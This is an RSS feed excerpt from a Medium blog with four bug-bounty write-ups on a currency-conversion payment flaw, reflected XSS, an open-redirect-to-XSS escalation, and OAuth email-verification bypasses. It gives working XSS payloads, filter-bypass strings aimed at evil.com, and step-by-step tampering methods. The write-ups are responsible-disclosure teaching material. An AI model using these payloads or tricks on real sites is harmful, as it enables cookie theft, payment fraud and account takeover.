            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*Kg5ecbS7IB9Hfzs8_hVsAA.png" /></figure><p>While technical vulnerabilities like XSS or SQLi are popular, <strong>Business Logic Flaws</strong> are the silent killers of web applications. These bugs don’t rely on code injection; instead, they exploit the very rules the application was built on. Today, I’ll share how I manipulated a payment system to pay 1 TRY instead of 1 USD.</p><h3>What is Business Logic?</h3><p>Business logic refers to the rules that govern how data is created, stored, and changed. A flaw occurs when an attacker can use the legitimate functions of an application in a way the developers never intended.</p><p><a href="https://medium.com/@xelcezeri/ad52f1c47f3a?source=friends_link&amp;sk=bdcd3b0777d6b9050a103ebca77e9c5b"><strong>Friend Link</strong></a></p><h3>The Discovery: Currency Conversion Chaos</h3><p>While testing a program on Bugbounter, I focused on the checkout process of an e-commerce site. I noticed a two-step calculation:</p><ol><li><strong>Selection:</strong> The price is first calculated in <strong>USD</strong> (e.g., 1 Item = 1 USD).</li><li><strong>Checkout:</strong> On the final payment page, the system converts that USD value into <strong>TRY</strong> based on the current exchange rate.</li></ol><h3>The Attack: Forcing a “1:1” Conversion</h3><p>I decided to intercept the request at the initial calculation stage using Burp Suite. I noticed a parameter that defined the currency: &quot;currency&quot;: &quot;USD&quot;, &quot;symbol&quot;: &quot;$&quot;</p><p>I manually changed this to: &quot;currency&quot;: &quot;TRY&quot;, &quot;symbol&quot;: &quot;₺&quot;</p><p>My goal was to trick the system into thinking the base price was already in TRY. When I reached the payment page, it still showed “1 USD.” However, my “hacker intuition” told me to <strong>refresh the page</strong>.</p><p><strong>The Result:</strong> After the refresh, the price was recalculated. Since the base value was now “1” and the currency was “TRY”, the final checkout amount became <strong>1 TRY</strong>.</p><h3>Exploitation and Reward</h3><p>I entered my payment details and successfully completed the transaction for 1 TRY (which is significantly cheaper than 1 USD). I immediately reported the “Currency Conversion Logic Flaw” to the team.</p><p><strong>Impact:</strong> Financial loss due to incorrect price calculation. <strong>Result:</strong> Vulnerability fixed within hours and rewarded with a <strong>$$$ bounty!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*8Pnd6-EXI-VTqwlv.png" /></figure><h3>Stay Connected</h3><ul><li><strong>X (Twitter):</strong> <a href="https://x.com/xelcezeri">@xelcezeri</a></li><li><a href="https://www.linkedin.com/in/xsametyigit/"><strong>LinkedIn:</strong> Samet Yiğit</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad52f1c47f3a" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Hidden in the Source: Discovering Reflected XSS via Manual Code Review]]></title>
            <link>https://medium.com/@xelcezeri/hidden-in-the-source-discovering-reflected-xss-via-manual-code-review-c2a697d9d8c1?source=rss-51d79a0d79bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2a697d9d8c1</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[samet]]></dc:creator>
            <pubDate>Sat, 17 Jan 2026 20:26:14 GMT</pubDate>
            <atom:updated>2026-01-17T20:26:14.289Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*vviHX7g90DnsvJhzq8EUTw.png" /></figure><p>In bug bounty hunting, when automated scanners fail and the scope is narrow, your best weapon is your own eyes. Today, I’ll share how I discovered a Reflected XSS vulnerability on a protected login page by simply digging into the application’s source code.</p><h3>The Hunt Begins</h3><p>While browsing a VDP program on HackerOne, I encountered a login screen reserved for company members. It was a simple interface requiring an ID and a password. I tried standard attacks like SQL Injection, Default Credentials, and Request Manipulation, but the application was solid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*ScN3R-h7pIH8UKHm7Pqz-g.png" /></figure><h3>The Discovery: Reading Between the Lines</h3><p>Instead of moving on, I decided to perform a <strong>Manual Source Code Review</strong>. While inspecting the page’s source, I discovered an interesting path used for internal search functionality.</p><p>The path took two parameters and seemed to be used for filtering data. I copied the path and immediately started testing for input reflection: https://target.com/inc/search_xxxx?xxxx=”123&lt;&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*nN48Ua71mfWkJnP6sGEd5Q.png" /></figure><p>When I saw that the characters &lt;&gt; were reflected directly into the page without any sanitization, I knew I had found a potential entry point.</p><h3>Exploitation: From HTML to Javascript</h3><p>First, I confirmed <strong>HTML Injection</strong> was possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tzJXTebkm_Ghy5CKE0mKqQ.png" /></figure><p>Then, I took it a step further to achieve <strong>Cross-Site Scripting (XSS)</strong>. I tried the following payloads:</p><ol><li>”&gt;&lt;script&gt;alert(“cezeri”)&lt;/script&gt;</li><li>“&gt;&lt;img src/onerror=prompt(document.cookie)&gt;</li></ol><p><strong>The Result:</strong> Both payloads executed perfectly. The application was rendering the xxxx parameter directly into the DOM, allowing for full client-side code execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C7W4cQYQ6qVoTiLxecuGHQ.png" /></figure><p><strong>The Lesson:</strong> Never underestimate the power of Ctrl+U. Automated tools are great, but manual source code analysis can uncover vulnerabilities hidden in plain sight.</p><h3>Stay Connected</h3><ul><li><strong>X (Twitter):</strong> <a href="https://x.com/xelcezeri">@xelcezeri</a></li><li><a href="https://www.linkedin.com/in/xsametyigit/"><strong>LinkedIn:</strong> Samet Yiğit</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2a697d9d8c1" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Open Redirect to XSS]]></title>
            <link>https://medium.com/@xelcezeri/open-redirect-to-xss-3a579bf64ed2?source=rss-51d79a0d79bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a579bf64ed2</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[samet]]></dc:creator>
            <pubDate>Wed, 14 Jan 2026 16:58:34 GMT</pubDate>
            <atom:updated>2026-01-14T16:58:34.032Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*VC_Ol0YnIDj_79VJkuhQJA.png" /></figure><p>Many bug bounty hunters overlook <strong>Open Redirect</strong> vulnerabilities, thinking they are “just a phishing vector.” But what if I told you that a redirect parameter could lead to full-blown Javascript execution? Today, I will share my journey of how I discovered an Open Redirect and escalated it to a rewarding XSS vulnerability.</p><h3>What is Open Redirect?</h3><p>Open Redirect occurs when an application takes user-provided input and uses it to redirect the user to another page without proper validation. Attackers often use this to make malicious links look like they belong to a trusted domain.</p><p><a href="https://medium.com/@xelcezeri/3a579bf64ed2?source=friends_link&amp;sk=ec350bf83180cb28bc045cc9a1811e17">Friend Link</a></p><h3>The Discovery: Hunting for Parameters</h3><p>While exploring my target (redacted.com), I focused on the login flow. I noticed a common parameter in the URL: <a href="https://redacted.com/login?redirect_url=/my-account">https://redacted.com/login?redirect_url=/my-account</a></p><p>This parameter tells the server where to send the user after a successful login. I immediately tested the obvious: <a href="https://redacted.com/login?redirect_url=https://evil.com">https://redacted.com/login?redirect_url=https://evil.com</a></p><p><strong>The Result:</strong> Blocked! The developers had implemented a basic filter.</p><h3>The Bypass Strategy</h3><p>I didn’t give up. I tried several bypass techniques using slashes and encoding:</p><ul><li>///evil.com</li><li>/\/evil.com</li><li>\/\/evil.com</li></ul><p>One of these variations worked perfectly. After logging in, the browser redirected me straight to my external malicious site.</p><h3>The Escalation: Turning Redirect into XSS</h3><p>An Open Redirect is good, but XSS is better. I wondered if the redirect_url parameter supported the javascript: URI scheme.</p><p>I crafted the following payload: <a href="https://redacted.com/login?redirect_url=javascript:alert(document.cookie)">https://redacted.com/login?redirect_url=javascript:alert(1)</a></p><p><strong>The Moment of Truth:</strong> I logged into the application. Instead of being redirected to a new page, the browser executed my JavaScript code on the redacted.com domain. <strong>XSS Triggered!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/278/1*pAQnyafB7hwhfJgvuaWicw.png" /></figure><h3>Pro Tips for Hunters</h3><ul><li><strong>Dorking:</strong> Use dorks like site:target.com inurl:url= to find hidden redirect parameters.</li><li><strong>Payloads:</strong> Always try javascript:alert(1) on redirect parameters. If the application uses the input in a window.location assignment, you have a high chance of success.</li></ul><p><strong>Result:</strong> Reported to the team and rewarded with a <strong>$$ bounty</strong>!</p><h3>Stay Connected</h3><ul><li><strong>X (Twitter):</strong> <a href="https://x.com/xelcezeri">@xelcezeri</a></li><li><a href="https://www.linkedin.com/in/xsametyigit/"><strong>LinkedIn:</strong> Samet Yiğit</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a579bf64ed2" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Bypassing Email Verification via OAuth Misconfiguration]]></title>
            <link>https://medium.com/@xelcezeri/bypassing-email-verification-via-oauth-misconfiguration-cad488c15f2f?source=rss-51d79a0d79bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/cad488c15f2f</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[samet]]></dc:creator>
            <pubDate>Mon, 12 Jan 2026 17:41:46 GMT</pubDate>
            <atom:updated>2026-01-12T17:44:06.987Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*BjecY1kCINcK8a2QeoFTNQ.png" /></figure><p>OAuth is designed to make logins seamless, but when the integration isn’t handled carefully, it can lead to serious logic flaws. Today, I’ll share how I bypassed email verification on an e-commerce platform using Facebook OAuth and a simple HTML tweak during a Google Sign-In.</p><p><a href="https://medium.com/@xelcezeri/bypassing-email-verification-via-oauth-misconfiguration-cad488c15f2f?source=friends_link&amp;sk=2a9887fbea10fdfe74cf012523534548"><strong>Friend Link</strong></a></p><h3>The Target Environment</h3><p>The target was a major e-shopping store. A standard registration required a mandatory verification code sent via email. I registered a test account (victim@target.com) and confirmed that the system prevents duplicate registrations with the same email.</p><h3>Scenario 1: The Facebook OAuth “Edit Access” Trick</h3><p>When using “Register with Facebook,” most users just click “Continue.” However, I noticed the <strong>“Edit Access”</strong> option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*9zR7Sq76ITskG0WswclWEA.png" /></figure><ol><li>I initiated the Facebook login.</li><li>In the permissions menu, I toggled the <strong>Email Address</strong> access to “Off” (I do not accept).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*pUY2jB8Qr6iKYQD7ACXQwg.png" /></figure><p>3. The application, realizing it didn’t get an email from Facebook, prompted me to enter one manually to complete the profile.</p><p>4. I entered the already registered victim@target.com.</p><p><strong>5. The Result:</strong> The system created a <em>second</em> account with the same email, completely skipping the verification code step.</p><h3>Scenario 2: Google Sign-In &amp; HTML Manipulation</h3><p>I tried a different approach with Google Sign-In using attacker@gmail.com.</p><ol><li>After selecting the Google account, the site redirected me to a “Complete your Profile” page.</li><li>The Email field was pre-filled with my Gmail address but was <strong>disabled</strong> (grayed out).</li><li><strong>The Trick:</strong> I right-clicked the input box -&gt; <strong>Inspect</strong>, and changed the attribute disabled=&quot;disabled&quot; to enabled=&quot;enabled&quot;.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/116/1*lE434r_23f2eZjp89h0Gpw.png" /></figure><p>4. I manually changed the email to victim@target.com and submitted the form.</p><p><strong>5. The Result:</strong> Registration successful! I bypassed the verification once again.</p><h3>Impact &amp; Reward</h3><p>Normally, this leads to a full <strong>Account Takeover (ATO)</strong>. In this specific case, the application allowed two separate accounts to exist with the same email, which is a major database logic flaw. I reported these “Email Verification Bypass” cases to the team.</p><p><strong>Result:</strong> Accepted &amp; Awarded with a $$ bonus (VDP Program).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t6NqLkutbP_nxj5_WWkcXQ.png" /></figure><h3>Stay Connected</h3><ul><li><strong>X (Twitter):</strong> <a href="https://x.com/xelcezeri">@xelcezeri</a></li><li><a href="https://www.linkedin.com/in/xsametyigit/"><strong>LinkedIn:</strong> Samet Yiğit</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cad488c15f2f" width="1" height="1" alt="">]]></content:encoded>
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